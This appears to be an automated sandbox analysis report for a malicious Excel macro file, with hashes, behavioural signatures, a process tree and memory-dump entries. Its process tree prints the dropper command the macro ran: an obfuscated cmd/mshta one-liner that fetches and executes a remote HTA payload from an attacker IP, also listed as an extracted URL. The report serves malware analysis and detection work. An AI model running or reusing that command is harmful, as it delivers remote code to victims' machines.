Analysis

  • max time kernel
    140s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10-20220223-en
  • submitted
    13-03-2022 12:52

General

  • Target

    053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809.xlsm

  • Size

    110KB

  • MD5

    fdba23f96e2a3337048fbd1f116ac128

  • SHA1

    b9599026ed63f455d2cda18ec8dff202170be381

  • SHA256

    053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809

  • SHA512

    82a691f0c5abaa2a9b56c800b9d405c155e6f5c6cfa80f1f39028ff8ce7e8239ee39cef06686b855c3173c8b4d034a55901280bfb0489e2bfdbebef153a89aa6

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://46.105.81.76/c.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2508
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0056.0151.0121.0114/c.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3960
      • C:\Windows\system32\mshta.exe
        mshta http://0056.0151.0121.0114/c.html
        3⤵
        • Blocklisted process makes network request
        PID:2804

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2508-114-0x00007FFA22DE0000-0x00007FFA22DF0000-memory.dmp

    Filesize

    64KB

  • memory/2508-115-0x00007FFA22DE0000-0x00007FFA22DF0000-memory.dmp

    Filesize

    64KB

  • memory/2508-116-0x00007FFA22DE0000-0x00007FFA22DF0000-memory.dmp

    Filesize

    64KB

  • memory/2508-117-0x00007FFA22DE0000-0x00007FFA22DF0000-memory.dmp

    Filesize

    64KB

  • memory/2508-126-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-127-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-128-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-129-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-130-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-132-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-131-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-133-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-134-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-135-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-136-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-137-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-138-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-139-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-140-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-141-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-142-0x00007FFA62670000-0x00007FFA6271E000-memory.dmp

    Filesize

    696KB

  • memory/2508-143-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-144-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-145-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-146-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-147-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-148-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB

  • memory/2508-319-0x00007FFA22DE0000-0x00007FFA22DF0000-memory.dmp

    Filesize

    64KB

  • memory/2508-320-0x00007FFA22DE0000-0x00007FFA22DF0000-memory.dmp

    Filesize

    64KB

  • memory/2508-321-0x00007FFA22DE0000-0x00007FFA22DF0000-memory.dmp

    Filesize

    64KB

  • memory/2508-322-0x00007FFA22DE0000-0x00007FFA22DF0000-memory.dmp

    Filesize

    64KB

  • memory/2508-323-0x00007FFA62670000-0x00007FFA6271E000-memory.dmp

    Filesize

    696KB

  • memory/2508-324-0x00007FFA62D50000-0x00007FFA62F2B000-memory.dmp

    Filesize

    1.9MB